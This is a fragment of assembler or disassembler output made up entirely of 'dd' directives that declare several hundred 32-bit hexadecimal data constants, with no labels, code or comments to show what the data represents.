		dd 0E9561E60h, 0E39F4E7Eh, 1D453297h, 46D0E05Ch, 9CB980DEh
		dd 947E0838h, 739BCD21h, 555DFA0Bh, 0F89A7F67h,	5F9E84FDh
		dd 0B8A088AFh, 71482E1Eh, 78BE2DBh, 28D1B6A5h, 0D384C3F7h
		dd 43E52F01h, 452A7A6Eh, 546AA4F1h, 0FD4A6E37h,	0FE8B5BDDh
		dd 48BA0F10h, 602704C7h
		dd 0BEF81D28h, 4DAF717h, 9B97884h, 0F5E7575Eh, 7D527A2Eh
		dd 13865BE3h, 2158C213h, 4F23C5C8h, 201C8982h, 507BDC1Ah
		dd 5CE5C48h, 0A4B4555Bh, 0BF04C4BEh, 0E6D0E15Eh, 6F945333h
		dd 0C945A5F5h, 53887DDh, 0C409C818h, 0C9E92F52h, 5D01568h
		dd 726F2E9Dh, 0EF9967BFh, 0A42FE892h, 0B894DC81h, 4BAA6800h
		dd 3BA099B5h, 552EB2FFh, 5E2DA045h, 2076F2DCh, 7418E9E1h
		dd 7F313324h, 90E4BFDEh, 0B04A58FCh, 5F5C0872h,	26AEED10h
		dd 9F69EE20h, 0AF329BD0h, 0E429122Ah, 0E9553FADh, 0BDD8E2D5h
		dd 0A2161728h, 6C41FE40h, 0EDD14DDDh, 87D830h, 5197C0C6h
		dd 36929B9h, 2010265Ch,	29EA0B3h, 0C2705A4Eh, 79BC596Bh
		dd 75ABA8D2h, 2D5A88EFh, 654A7250h, 0B50DDEEh, 4B137CCCh
		dd 7FFC7F5Bh, 86AA76Ah,	0C262F25h, 0AB4E5511h, 7103A109h
		dd 3DEC495Ah, 0A4A6E918h, 1316C7C7h, 0B0BA9562h, 0DE41A053h
		dd 5AAA5424h, 0C84B546Ch, 5049720h, 58BF48F3h, 752BB82h
		dd 0C67F6350h, 334E9704h, 38BB6F25h, 444096B3h,	0D75CECADh
		dd 0F36C8455h, 0CBF84E8Ah, 0FC2BE9C2h, 92073482h, 7112907Ah
		dd 0A721D788h, 5901D653h, 0B7063A01h, 72C32B51h, 58C626E8h
		dd 256805D8h, 1236E337h, 0C8AEDC5Ah, 972C68E3h,	5361B94Dh
		dd 0B3ACAE9h, 57093078h, 0D4A76C05h, 0A9CBFE39h, 0B034E9C4h
		dd 7D58B841h, 305824B9h, 0C8607C24h, 80A2E5E9h,	0F42C890Fh
		dd 0E88C6333h, 0F8030607h, 635F308Ah, 8953F6AFh, 458F48B5h
		dd 691A3901h, 2D83ECCFh, 0CB0110C1h, 0CE67C985h, 0D749B751h
		dd 125199A7h, 69431F5Fh, 0A104E42Ah, 6E3C007h, 0F671C380h
		dd 0C9D6FEDBh, 0C5EC7084h, 8D0F1211h, 0EE195299h, 0C69567C1h
		dd 4358530Ch, 2E525526h, 0B07FBFE1h, 211626DDh,	0CF8120D2h
		dd 0A5405A50h, 4C6FF7EAh, 0C2278D29h, 60E98348h, 0C50A09B5h
		dd 0E07B27F2h, 24C7425h, 481F0D3Ch, 18A089F5h, 58F6C594h
		dd 0CA58C5E0h, 4025C648h, 6858EAD4h, 0E6745F62h, 5FC75E0Eh
		dd 0E97DFE60h, 0BDED4020h, 302FE07Bh, 22AD803h,	6AC2E381h
		dd 63C04305h, 9D096319h, 5A37E921h, 0F4C30450h,	0AF75F257h
		dd 3C0D44C1h, 7E0E5207h, 0D5D6D8A9h, 4D8A5525h,	0D5CC3F1Ah
		dd 0EEBA404Eh, 65CE6BDDh, 0E7B519Fh, 0F8A2A705h, 2960401Fh
		dd 0A360CBDEh, 597FC2D8h, 7EFEC11h, 241B1AFBh, 51CCD29h
		dd 31B40D08h, 0C2FA3081h, 0E295F690h, 0F6D56C72h, 0F6B65F74h
		dd 6D18D891h, 28EC2C67h, 50052557h, 2971EB5Dh, 0B32FB968h
		dd 10FD52A5h, 2F50E472h, 7733625Bh, 8B59BAE6h, 833A2D3Ch
		dd 0A9FEBB22h, 0F43F0CF1h, 317480EEh, 82E93508h, 5B5E2792h
		dd 6153571Eh, 8B252E80h, 0B0D75B47h, 57825C3Eh,	82D1BA05h
		dd 677E737Dh, 0AC985752h, 0D68228D8h, 0BFE2DF5h, 0FB027F25h
		dd 9BAEAFC4h, 12656DC4h, 0F64005BFh, 0C76B94Fh,	0A12D0EEh
		dd 2D953DC6h, 7B94B14Ah, 0BFFDD48Dh, 0D9FB53C5h, 32001C7h
		dd 406141B1h, 0AED420A2h, 80318E34h, 0D7AE64C5h, 57805EC6h
		dd 0E62D646Bh, 473D2317h, 7177C84h, 1970FA29h, 4B27924Eh
		dd 0CDAAE45Bh, 0C9E76D5Fh, 641A5925h, 9A066355h, 0FA5C09A6h
		dd 58FAD449h, 0A9BEE378h, 53F0B840h, 0ED098D8h,	2BAE4E54h
		dd 77A446AFh, 44E68306h, 549E3B48h, 4B05097Dh, 0C6011A08h
		dd 0D089F10h, 83A15EE9h, 0D024803Eh, 0A7D3571h,	1B87E433h
		dd 0CA56BAF1h, 1B6E7F87h, 37FE3B24h, 10700689h,	17F180C5h
		dd 0C0565038h, 1B3F7A16h, 292E97Dh, 0CAE90DB9h,	9BEE334h
		dd 7F35673Ch, 81EB6E87h, 3B6CD638h, 0D84B110Bh,	0FBAA205Fh
		dd 12FB6658h, 3330E541h, 9517EA68h, 27950498h, 88CE983h
		dd 0EEC0B051h, 0E5BF5700h, 2A6A2205h, 0CA80FD89h, 466EDC5h
		dd 27E978C2h, 46350179h, 56CC5513h, 7E4104BEh, 86290BC7h
		dd 0F7011246h, 875C1726h, 68E49CEh, 0FE5393E9h,	0AB312A20h
		dd 0E87FD23h, 89EF97DAh, 77D98BD7h, 8840C332h, 561D0C33h
		dd 0D59BE9C6h, 0EE980EEBh, 89C657EDh, 0FE1F06EFh, 2D965D5Fh
		dd 900C1ABEh, 79C0241h,	0BA703BB0h, 9B565C6Fh, 4A1DAA01h
		dd 61CA8777h, 6A562281h, 0EF089A10h, 580D006Ch,	0F755040Eh
		dd 1035D802h, 4001AA1Ah, 20ABB134h, 0A1BAA341h,	3A66AD27h
		dd 92447FA7h, 0C6C7E919h, 0EC09EF21h, 99BD3B7Bh, 0D86E51B7h
		dd 0F460A210h, 63F7C537h, 0EDCE90FDh, 806DB21h,	6CB6091Ch
		dd 96554F3Ah, 408AB02Fh, 68185699h, 0B1177C6Dh,	0CB308038h
		dd 3F5669EEh, 24563E60h, 2D835D08h, 30C95A1Eh, 0E96B8765h
		dd 39C0AF76h, 0A147B2CBh, 0EBD1261Fh, 0AD4512BBh, 4A9FD002h
		dd 8AE92823h, 5B2BF026h, 2FD8E5BAh, 532F6344h, 4850F01h
		dd 972F628Ch, 0FC139DA8h, 0D48BB8AEh, 2C2121Eh,	1D022CBFh
		dd 0C0AD446Eh, 1A3025A4h, 0F488CA88h, 860F8291h, 0ED483727h
		dd 6880593Fh, 24CCE0F7h, 17BF5B6Ah, 0A24F56D3h,	6EB8008Fh
		dd 0BD42AE66h, 5A70476h, 6C5010Eh, 345DAC7Ch, 0EE53C981h
		dd 112F37A6h, 5177CFC2h, 0C5E90537h, 37CAFEA4h,	41CE2F7Ch
		dd 0F469E7DCh, 0CBFC6B8Eh, 750E8000h, 963DE905h, 65442F9Bh
		dd 5E26B025h, 1DE426AAh, 73B76003h, 28F8256Fh, 68716CC4h
		dd 0ACD9EF12h, 11696680h, 0E9953F59h, 0E764C330h, 822EE18Bh
		dd 0DD80E2DDh, 187DF6C2h, 9F7E2BC9h, 59408BF1h,	974783E9h
		dd 0C4D3CB9Bh, 7F86BF58h, 757E3558h, 9EB10C8h, 0BD13A3E9h
		dd 0C47446E1h, 0A8F8522Dh, 0BF187160h, 4E3D2EFBh, 5C4B241h
		dd 782C6866h, 84044E1h,	170F21C9h, 0E2E4CE82h, 4BCFE732h
		dd 0B5732Ch, 0E9C0B70Fh, 22928ED9h, 4A8124EAh, 481EC60h
		dd 0AB7548CAh, 0A316BF42h, 7DBC6D12h, 1FCB3FDEh, 0CFCD893Fh
		dd 0FD55DA91h, 0D8C2065h, 34DB3EF9h, 0B5515301h, 84EF88CFh
		dd 0BCD1E9B7h, 4FC106ECh, 0F566FD31h, 3BFC286Eh, 113801BEh
		dd 46E6D128h, 0C06086F4h, 6B74ED69h, 0D09F159Fh, 741BB29Eh
		dd 35316ABh, 5D0ED021h,	805DE3E9h, 384704B6h, 81FE3D05h
		dd 0A449BA10h, 5010CE11h, 0F3E2D116h, 8FAD4B98h, 4F40F2E4h
		dd 19B15F1Dh, 472CFB01h, 0C409302Fh, 3272EED5h,	0D21AEC22h
		dd 0D74CBE4h, 647BC69Dh, 81541105h, 56DB244h, 0A8C40CEDh
		dd 6673273Eh, 0AC455A2Fh, 3096754h, 49EF98D2h, 0E260E781h
		dd 21FE04CFh, 0B0D17CF7h, 643C6C20h, 0FF67EFAh,	2159D009h
		dd 59CD5431h, 8B743C29h, 27B056EAh, 0F088A8DBh,	0AB92BC6Eh
		dd 0DE91AECBh, 457BEF8Bh, 0BBBAC845h, 0B4797FCCh, 55F000Fh
		dd 44230C85h, 2D519FB0h, 0F178A707h, 92FD6B9Ah,	48E1D7B6h
		dd 0C36620F6h, 8C202841h, 0B885D323h, 36F71094h, 0FD3E2DC0h
		dd 14FBA73h, 18CEB4h, 816CCA5Eh, 575D43EAh, 0FE210D2Fh
		dd 0C4730CD0h, 6805EBF7h, 29264735h, 302C5B81h,	0CF28EA39h
		dd 0F6DE9DACh, 0BC520425h, 72C6550Eh, 0C60545BFh, 117B0109h
		dd 9885B7BDh, 920EACD9h, 766CCAFBh, 2E72685h, 1FF7741Eh
		dd 0F05154C0h, 20AF1497h, 317FA780h, 589AA0EEh,	0F894B027h
		dd 4F5073E6h, 5B4109D8h, 0A8EC7905h, 255C8F5Dh,	0C8BE737Eh
		dd 654DCF44h, 2A4B9E1Ah, 6225DCDEh, 6801E8E4h, 6D2F4811h
		dd 0C7302A7Ch, 583B59BBh, 0EB3A06A1h, 51711A8Dh, 3021D40Ch
		dd 0FC04074Ah, 0B4F94B7Dh, 0B8F3752Ch, 0AB0152h, 7E66929h
		dd 0E8E564E7h, 888F14Bh, 520C7508h, 409A207Eh, 0DD40D0EDh
		dd 0D28C4014h, 0A7087162h
		dd 0B94502E7h, 313FF903h, 6A49C738h, 0BF088CCAh, 62B2186Dh
		dd 9FE2088Eh, 3023802h,	2810768Fh, 4F182894h, 722910E4h
		dd 0CF593D80h, 18F87608h, 1180BFB2h, 23EB83C5h,	9ADE0818h
		dd 8073A520h, 10C46BE9h, 0D60456C2h, 0F43606F9h, 80A3108h
		dd 8846EA18h, 81BBF08h,	2089AEFh, 6FA1084Bh, 39893338h
		dd 0CFD1332Eh, 0A9197E10h, 4D108690h, 5454988h,	186C5F0Dh
		dd 898FFF5h, 0B037C9BDh, 0C40F08C4h, 0A039300Ch, 62D44140h
		dd 247E08ACh, 10ABA603h, 18399728h, 55108B7Fh, 0EC21D12Ch
		dd 9C0F91Bh, 97ED2119h,	98523108h, 89B0A20Ah, 93620242h
		dd 1057B403h, 31B90D08h, 67C5F1EFh, 18D1201h, 88CBBEEh
		dd 71184740h, 63ABBE40h, 641F10B7h, 0B078082Ah,	31A38420h
		dd 5728DC60h, 0B5088861h, 81F90C9Dh, 8880A2F1h,	0C018C6F1h
		dd 0E233087Ch, 3275C97Bh, 33281481h, 510184A3h,	0CE960810h
		dd 183C6B10h, 54308E6Eh, 0D0618080h, 248210C9h,	64913B00h
		dd 4B03DF63h, 78103919h, 19892908h, 1C28A1B4h, 0B17E88D4h
		dd 0C31AB08h, 7C187D2Ch, 0A9C5BE40h, 398CE1D4h,	7C593267h
		dd 0CC169A80h, 7E695008h, 870895FBh, 0A45418A0h, 80C38B38h
		dd 0A8098D6h, 51E98149h, 2296CCCh, 36D84817h, 0B108C4ADh
		dd 0F4F80A85h, 821D788h, 0ED0822BEh, 0A05D1FB5h, 1018A449h
		dd 0C924F74Fh, 8C0B608h, 206E1820h, 95492ECCh, 810A315Ch
		dd 0B501895Bh, 8C1888B1h, 0B9720806h, 10844A15h, 3375CB4h
		dd 8C946E1h, 189B5A33h,	0DA691035h, 0EC3B106Bh,	33A8432Ah
		dd 0E8E96809h, 0A05D1019h, 718C9A08h, 0FF10BA2Ch, 0AAF9BB41h
		dd 17B1601h, 0D401F022h, 9AFD01C2h, 1425601h, 0D052CB90h
		dd 9F83022Dh, 72D802h, 0E8FC9C60h, 0F825A499h, 5EC22A75h
		dd 901B4D7h, 2F205BDAh,	2752C47h, 8913EB18h, 0DEA7B90Eh
		dd 105803Dh, 49408F44h,	75C90B02h, 0C3748BF7h, 3DEA039h
		dd 0EAFE95F0h, 1C0338Fh, 304FB10Fh, 4AC2C82h, 0A4FE51E5h
		dd 105B750h, 0F928C4B1h, 7BE1C05Bh, 29EAC40Ch, 8BF65851h
		dd 0B4274E4Ch, 38688280h, 9589E6Fh, 0F4B217AFh,	2F366246h
		dd 0B9511C84h, 0FBD81498h, 905ECB2Dh, 5E13CC02h, 0BAEAFF3Ch
		dd 0CDF30827h, 11A0422h, 1432C296h, 0DA2E7037h,	88163B8h
		dd 0CE452A5Bh, 25D078A0h, 5C500BC9h, 0F1027877h, 7FFF71EBh
		dd 4F05E855h, 0AA014A3Ch, 0A400A124h, 0F4E7EA7h, 6927308Eh
		dd 29F68120h, 0A820A004h, 0E0ECF189h, 5D003CA6h, 2D20F569h
		dd 4F441546h, 47910C3Bh, 7303B867h, 316FBE02h, 852FE1C7h
		dd 2F5B3C9Eh, 215F0696h, 3B4C9F05h, 0B4D658BCh,	4A602BDFh
		dd 10B05058h, 0F6C81BFEh, 0C5E04D8h, 66045300h,	0C74AC780h
		dd 6728E026h, 163B0F58h, 0ECEFE7C7h, 5B1CFA12h,	0D00E6D04h
		dd 0E7D1972Ch, 0A650F67Ch, 3BDE8DC6h, 0C103BCD5h, 3223711Eh
		dd 519A0C01h, 0F101223Bh, 846E9F9h, 5E14810Ch, 51CF847Ch
		dd 0C0358BA6h, 5510BE04h, 80EB30B3h, 79DD72D4h,	63BA521Eh
		dd 73BA5BAh, 59846850h,	0C7C0ACB8h, 813D1E25h, 7B37F304h
		dd 57F05201h, 0B92B4FD3h, 94BDD38Dh, 0D22D9713h, 0EEFE2CBBh
		dd 5E316D28h, 0E3D19051h, 61AD8BE0h, 0EDE9103Ah, 7426A7DDh
		dd 22E97832h, 98BB65Dh,	565D5EF0h, 0EC5B2DB7h, 31EA966Fh
		dd 1AB68A1h, 12937C01h,	79CFBE5Fh, 3B58914Ah, 0FC35AFEBh
		dd 0F4D037DFh, 0C65C0E0Dh, 7C0C2C58h, 48433055h, 0F8E780CCh
		dd 55AC06C9h, 0F7092964h, 0D2F908F0h, 32D835ABh, 68D2C130h
		dd 16137A0Bh, 0B6AA1884h, 0BDE98295h, 54D15D21h, 67F1953Ch
		dd 0BB634A5h, 92E9F3BFh, 0E90B078Ah, 945FBE1Fh,	66D1951Bh
		dd 3C7AA43h, 4FA1BD10h,	7C182ADDh, 0F5FB22E4h, 0EA88242Bh
		dd 11F90CFDh, 1341FA93h, 0FB78E47Eh, 158E7E14h,	714704DEh
		dd 54BC2EF0h, 9649C8B1h, 0F2A83338h, 5042A388h,	0ACA08FDh
		dd 0CAD41DEAh, 0A929C74Ah, 1211645Dh, 0A0D94E74h, 95A82767h
		dd 1612A0C6h, 4FF96D49h, 90580840h, 51EEB56Ah, 79B518F4h
		dd 8D0A987Bh, 2E4AEE68h, 0F11011F3h, 0ACF15F0Fh, 6025813Ah
		dd 6E29E1FCh, 13B8AC65h, 31F6572Fh, 0E928E701h,	0A2934B4Ah
		dd 82960442h, 0C0F24E40h, 50A99106h, 55851434h,	0BDB0D853h
		dd 0D5F143Bh, 269A5B50h, 5CAD883Ah, 84FD2095h, 54C6C282h
		dd 0A98F260Bh, 542FD5E8h, 4F5F11E3h, 5757A0Fh, 0B364293Dh
		dd 88C404AAh, 566F0E3h,	0CF692204h, 56AC508Dh, 946AA704h
		dd 0B7DD8072h, 0A120E925h, 0CC80017Dh, 0B28F0F23h, 0C0128783h
		dd 0ECC206E4h, 7E1F78Ah, 40F412C2h, 0DD1A082Eh,	0DD469810h
		dd 9693BF5Ch, 0EB70F200h, 489CE95Fh, 12D86E56h,	0FE837BDCh
		dd 60BEF05Ah, 10C3397Eh, 1D4BB973h, 1310FFBCh, 0B36809C8h
		dd 0B6B9185Dh, 5F7DFECEh, 88B6A9BCh, 0F35916FCh, 0DA291FCEh
		dd 51C34E98h, 0FEF212B5h, 9A970EC5h, 0C01ED66h,	0D1A1F35Ah
		dd 56A71D3Fh, 9746E29Bh, 0BFAA39C1h, 29F885C3h,	60C8EEF4h
		dd 0BD5D49EDh, 7D45EA25h, 0B6EDE4B1h, 871AD632h, 85F300Dh
		dd 481EE8E1h, 49E490E0h, 0F7031507h, 0E6D0FC12h, 0A983FDC2h
		dd 1D0F162Eh, 0F8F9A3EEh, 0B4596AA8h, 8057E4E9h, 32AF3420h
		dd 0E7C15F12h, 8ABB4C09h, 0D2675C11h, 426B9602h, 0E9FC609Ah
		dd 7B8E2D30h, 0F707837Ch, 0BFA24DD5h, 0C1CCFDB5h, 0A4B5BC5Fh
		dd 0E433E92Ah, 91B9D1EEh, 0FC1C1238h, 164308F3h, 9A253428h
		dd 0A5BAC76Ch, 0DCCB6EDEh, 9035841h, 0D505D6D6h, 0EACAD8ACh
		dd 48E13B10h, 4BFA2D60h, 0EE48E1FEh, 20859964h,	0D0A00C6Bh
		dd 3479794Ah, 1F7BCDEAh, 500E6DA6h, 8A59E3B8h, 3C04DB18h
		dd 0F0F2016Ah, 17FAB16Ah, 99CC046h, 1E985BD9h, 0AD48EFF5h
		dd 0F6DB12E8h, 0C2D731EAh, 5689488Dh, 3A4E7C51h, 2D0F15E8h
		dd 0A6CBBDFAh, 55A0065Dh, 50386E0Ch, 5FEA71D3h,	51350064h
		dd 0F86E2C66h, 9FC71C48h, 0A9E2CCFBh, 0BC30825Fh, 2BC5E522h
		dd 0DBB31DD0h, 54EDC145h, 3A127AE3h, 0A0E18FC1h, 58045976h
		dd 0AB324F70h, 1F012E85h, 0CDB08FA4h, 5F587728h, 2428FC4Ah
		dd 0E9C30A02h, 0AD7F5A49h, 8E162619h, 0D01AAABEh, 5051AC04h
		dd 5FC4F6B4h, 7D87FA94h, 7FDC2372h, 50E7C8A0h, 64C02756h
		dd 6829181Bh, 0CECB35E9h, 73D0C22h, 49690506h, 6DA683A0h
		dd 8031E121h, 0E3E77168h, 8E3B445Ah, 5E141950h,	126FDA29h
		dd 0C5E90F99h, 261585A6h, 53A89895h, 64C12668h,	0BF576011h
		dd 9C255B4Bh, 1F12F019h, 0D3EC8EBCh, 0CB8B09F9h, 32B78406h
		dd 58C7719Dh, 854CA0E9h, 5A68C24Ah, 0CB81DE57h,	9C1E9706h
		dd 78E8829Dh, 4286436h,	58D3BBB9h, 0D6081A29h, 0B45E179Dh
		dd 2B0CC7D3h, 0BC4449EFh, 30670388h, 0D27EE97Ch, 5C36840h
		dd 0C50C9D09h, 5282D56Eh, 4CE84502h, 0F6031EC1h, 308B0FD9h
		dd 0B8174566h, 0E1288D01h, 518F10BAh, 5E952368h, 4930B91Ch
		dd 5F0873EBh, 0E58180C2h, 1A31413Ch, 4D860CC1h,	4F205DE0h
		dd 0F5C403B2h, 282DE910h, 4EF82E5Ah, 4C09B24Eh,	74EF0E0Fh
		dd 0D8E9221Fh, 5D11E991h, 107AA22Eh, 74230A29h,	134518B4h
		dd 7471FAAh, 0C8EB3D96h, 0BFB1E4B0h, 2BA0EEC8h,	20FF014Bh
		dd 760CE6CBh, 23DBD3Bh,	0A65DCFCEh, 0AA286022h,	68A92C7Eh
		dd 0A1B8583Fh, 16013173h, 97CAD405h, 0DD80298Ch, 67F1B951h
		dd 0E93B2A73h, 0B838E5D1h, 155CFA05h, 2D072980h, 0C40116DAh
		dd 0E0FDA13Eh, 213DB9E5h
		dd 8CC3A480h, 8EA8631Ah, 0F68C1E8Bh, 17799474h,	0CC9422A2h
		dd 35BACE20h, 30EE14A0h, 63A20DD7h, 178CAF10h, 0B1AC4768h
		dd 0CE6F8755h, 9CA04E44h, 351C6245h, 571A1B22h,	167D6892h
		dd 27289437h, 9D4A2CF1h, 4DE95782h, 0B6520036h,	0C65CFE6Bh
		dd 9AF112E8h, 9703AFEDh, 2AB35350h, 8806F3B8h, 285BD814h
		dd 0E6C01EAFh, 5866845h, 0B0B4C731h, 852CA57Fh,	396BE904h
		dd 0FB9F12h, 0C1BDF2B2h, 70B7D56Eh, 2AD18015h, 73442D09h
		dd 0CF54B68h, 2A61E5E1h, 3074D9F2h, 6848474Ch, 963B7Fh
		dd 0D5317D62h, 534CC9EEh, 6BB4ADEh, 854A203Bh, 3B252EB0h
		dd 5A3955EDh, 993665A4h, 0D92F1050h, 6F02B31h, 0FC144FBCh
		dd 1612612Fh, 4C888254h, 0C00B08CBh, 0F2057FE0h, 0E2CF972Eh
		dd 0DCA27891h, 0D7291C2Dh, 0FBF6AB60h, 0CC4CA59Dh, 0BE01D81Ch
		dd 6EB55DB9h, 13D58520h, 0F0372E74h, 0E40C226Fh, 1CDEF751h
		dd 6401121Bh, 0E9430133h, 3BDCDBFEh, 0B4905914h, 0C8F788BCh
		dd 8C8C9C1Bh, 675AB007h, 649792D0h, 816310DDh, 1E7A0CF3h
		dd 60E23B7Ch, 41E00244h, 0E48AECC6h, 71CDD14Dh,	1E47709Ch
		dd 208C231Ch, 1BB0F12Fh, 2584C158h, 25B2FCE7h, 5F5AA575h
		dd 87A572AAh, 380AEC77h, 957047A0h, 0F8B711EEh,	0C91FBE59h
		dd 0EA436F7Eh, 419C85A9h, 18C317BFh, 1A0D063Eh,	1B902032h
		dd 0BA525001h, 4B420AE3h, 1367FB20h, 0FF16716Ch, 6E17BD53h
		dd 163A32E1h, 627A96Fh,	5D336684h, 3691080Ch, 0B012164h
		dd 5F0C9604h, 68C2E538h, 0E901764Bh, 220337Fh, 6BEA5309h
		dd 3E81F238h, 15E967FFh, 0E3B6920h, 765D4521h, 467C0AAEh
		dd 227C26CDh, 0C33420CDh, 0A90E6498h, 0A7ACE5F6h, 0EF9047D7h
		dd 5B4B7824h, 2D26A193h, 755C3027h, 0C09482E9h,	2576BE3Eh
		dd 409F1629h, 4C586B9Eh, 0A73A1328h, 0D34F6B62h, 1EF82500h
		dd 27105139h, 0F06EDFD2h, 23B4038Eh, 0A84BE310h, 2209047Dh
		dd 5F0C07D4h, 520224EAh, 0A3E91218h, 0C94E6867h, 20C8B8F6h
		dd 83982AD0h, 2CBA1F4Bh, 8B0968E2h, 5722B032h, 9A255280h
		dd 2B48B376h, 3FAA184Bh, 813A09CBh, 9D792058h, 50F5411Dh
		dd 2C6CC382h, 40EEE228h, 4BFDE980h, 3E998DA1h, 3DBF6A12h
		dd 1EE29614h, 374D84D0h, 2107008Ch, 0F50D59C8h,	1E5DAC48h
		dd 26741AD9h, 930AC02Ah, 0C7EFC028h, 0C0EFD0B3h, 7308E73Ch
		dd 0F6161A64h, 0E291D1AAh, 22E23D58h, 0EEF8B040h, 42944E86h
		dd 0A75DF324h, 3855BEC0h, 0EDE67F82h, 3024C304h, 4B8173Ch
		dd 315E2C76h, 5820BE82h, 0E3B0CDEEh, 69E1CC70h,	3EBE864Ch
		dd 8E448024h, 0F3DBB5FDh, 0CE654CB1h, 3ED6DD2Fh, 350D704Ch
		dd 6F7D2068h, 6BB1E924h, 9AD80193h, 0E7143D5Ch,	0D9E95886h
		dd 0F17255B6h, 626A031Eh, 0D785C2D2h, 3FC56E80h, 694F7B35h
		dd 0B04F596h, 9260C868h, 6B17D862h, 105D0917h, 0F6A2BB75h
		dd 2297AABh, 0FA02B791h, 1655DF01h, 0C8EF0219h,	0F4AEB68h
		dd 0A5D740C1h, 0F754C818h, 55B00559h, 99F83171h, 64660CCh
		dd 1259AAC0h, 762D9471h, 38280647h, 0CA5C63E9h,	3FC3800Fh
		dd 829B2451h, 0A3C574B3h, 40B1291Dh, 0A0603FA5h, 2609194Bh
		dd 6C7F5C5Bh, 324B0A54h, 0CF05B231h, 0D6C24981h, 7A481625h
		dd 7C54C1F3h, 175834E9h, 4576809Eh, 181AB416h, 0A38DA29h
		dd 8A430B08h, 5C541727h, 5CAF650h, 4E7A6855h, 27E971CCh
		dd 1235006h, 0C4A5646h,	7848D3FCh, 15136911h, 9D793045h
		dd 685CC580h, 58015A26h, 22795D5h, 8C175BC5h, 76AB0853h
		dd 6813B0EEh, 0A8CC2587h, 0A5C59C06h, 0B0153C55h, 78400115h
		dd 77682369h, 245B767Fh, 0B04075A8h, 5016DD70h,	129CA05Ah
		dd 0A86D2865h, 86460670h, 21A425Bh, 0DA182DBCh,	3174D789h
		dd 106C684h, 844DB3BEh,	6F1DF309h, 313EF8F2h, 71C715FBh
		dd 0B7B05EC2h, 6871A846h, 961E1202h, 12000C15h,	84EC5C5Eh
		dd 6805929Ch, 37BE5778h, 18579BAAh, 0BAFBE3Ah, 314AC806h
		dd 24FB03ABh, 0AEDF050Bh, 0AD172A8Bh, 9BC35BC2h, 7D13F891h
		dd 473B4A97h, 0A262E01h, 7E2C3C76h, 9DF4A007h, 7D002D67h
		dd 0C10ED754h, 70862EEh, 425867E9h, 580E0462h, 0CCA25161h
		dd 0F405A558h, 83E9A43Fh, 0B7EF3594h, 0D35C2DE8h, 7A142DCEh
		dd 0F45D5425h, 84F5C9D1h, 0F6C80C4Fh, 203741E7h, 22F756D8h
		dd 0C1C609C2h, 25F1D8D1h, 8654D5F7h, 0A553238Dh, 14438A24h
		dd 82AAD42h, 0F663FA09h, 1BA70682h, 0CE018FDh, 81719C2Dh
		dd 4EF0A5Fh, 2C20DC0Fh,	8934A5B2h, 74010A4Ch, 0D9315B5Ah
		dd 0C535CBF5h, 68522C7Bh, 0F8334A5Ah, 754DC952h, 0A5AAA82Ah
		dd 3669CABh, 0CF8E35Fh,	7937BBE0h, 4A908B5Fh, 0D32C9FE9h
		dd 0C103412Dh, 2F02AB55h, 31437BB5h, 0C6230043h, 0DF8AB5EDh
		dd 67B0F089h, 848AC15Bh, 0DC2215Ah, 3C3393Ch, 0B6525843h
		dd 74CEB97Bh, 97B4FCFCh, 5700055Bh, 0C748C168h,	11B5A170h
		dd 71BD5500h, 4E583F16h, 79780E80h, 0E91E0CD8h,	0F29D32F3h
		dd 3363671Dh, 947BF027h, 25DA5C5h, 0ACB21C1h, 40BB0DD2h
		dd 30CD30ADh, 6D660E13h, 83650AEh, 4BB2E912h, 0C046BDC5h
		dd 1A48950Bh, 5844E946h, 1B09883Eh, 801E65BAh, 980BD7C1h
		dd 0EEFDA0B3h, 0B5490C55h, 20EB8C50h, 0BFDDCF1Eh, 0E32A1C6Ch
		dd 0AE77AA21h, 785618D3h, 0B203489Eh, 0DBE9BE09h, 0EE81A817h
		dd 243A16EFh, 119F50Fh,	0FDD15808h, 40248246h, 0E3096512h
		dd 942FB098h, 0CC014134h, 0BF0457F0h, 49680F3Bh, 3C13EEh
		dd 0C78108AFh, 0B73B218Ah, 16097C05h, 751A3A38h, 0EE9A68Fh
		dd 89ED7C25h, 0A6F0780Bh, 6BEC00B8h, 99050F54h,	3C752927h
		dd 8977B13Ah, 0C0EFE925h, 0EE1B2C37h, 0C3B2B8h,	2184F681h
		dd 728922ECh, 168A304Bh, 82CAE913h, 14F75D86h, 0DC6828A8h
		dd 0C0AC3114h, 2BC8300Ah, 5A05DAE3h, 0FA6C5B68h, 0C81B7533h
		dd 138135F2h, 113B18E7h, 0E9178BDDh, 5E90AC5Fh,	1F484F8h
		dd 0AD62D893h, 0A068717Eh, 5B5A0828h, 79B112ECh, 0F490012h
		dd 16B0318Ch, 49E6DB3h,	0AAB915C1h, 0B69A4B7Ch,	8B56717Dh
		dd 3DFEF696h, 8C89DE6Bh, 522A58Ch, 0C9DF3709h, 272754E8h
		dd 74A89E3h, 0D01C07ACh, 0EE21C93Ch, 0CE00966Ch, 44696261h
		dd 9416860Fh, 8E9065Ah,	17270B4Fh, 0E9C7D1CEh, 58BD0D16h
		dd 0D76CB5D9h, 0E188AA15h, 1A0AD216h, 2119A83h,	0DE4FFE4Eh
		dd 6026C623h, 30587616h, 0C735796Fh, 83100FB1h,	0F6246654h
		dd 0F3440956h, 84F9DAA5h, 15CAD51h, 594DF4BEh, 0BDF05745h
		dd 0BD3EE175h, 0F7E0D318h, 3ACE053Ch, 0BEA801E9h, 0BCF20BCCh
		dd 56D3271Bh, 7CE14A69h, 4B8FC761h, 813D315Dh, 0E9C5D015h
		dd 4DBDFA2Ah, 37688F3Fh, 0C222F853h, 66015EBDh,	7B220FF8h
		dd 8FAB3CD6h, 0EE3034A0h, 0C6038059h, 0F1B050C8h, 59F1A566h
		dd 0D0D558D5h, 0CB50806Bh, 0E915C630h, 48A008D3h, 0D51E4B1Ah
		dd 6A607DCCh, 0C3B53C51h, 266B6A18h, 9F166CB9h,	41BC6847h
		dd 0E57CEC5Bh, 405B500Dh, 3079DDBBh, 0F01F65AEh, 0D805F65Ah
		dd 7802870Fh, 0E909678Fh, 271AA3D0h, 1AE8E301h,	8A64801h
		dd 0F33EBC99h, 60FDF05Ah, 0ED02994Ch, 1EDA5DB0h, 8BDA8FFh
		dd 7C841C31h, 7DC65EFDh, 0FDE9C899h, 66A6226h, 0D58F0F38h
		dd 64C9F273h, 0B0C4129Ah, 0E106C0B6h, 570E902h,	62808C94h
		dd 3DFBAE55h, 5F74E90Fh, 686D298h, 1337382Ch, 2C969308h
		dd 821ABC10h, 0C5DF3441h
		dd 0E95483F0h, 204B2909h, 2D7924B9h, 15207BC8h,	764619EDh
		dd 0C00B0CC1h, 0C67E17BBh, 9DC28E80h, 5E9B890Fh, 17C11FDBh
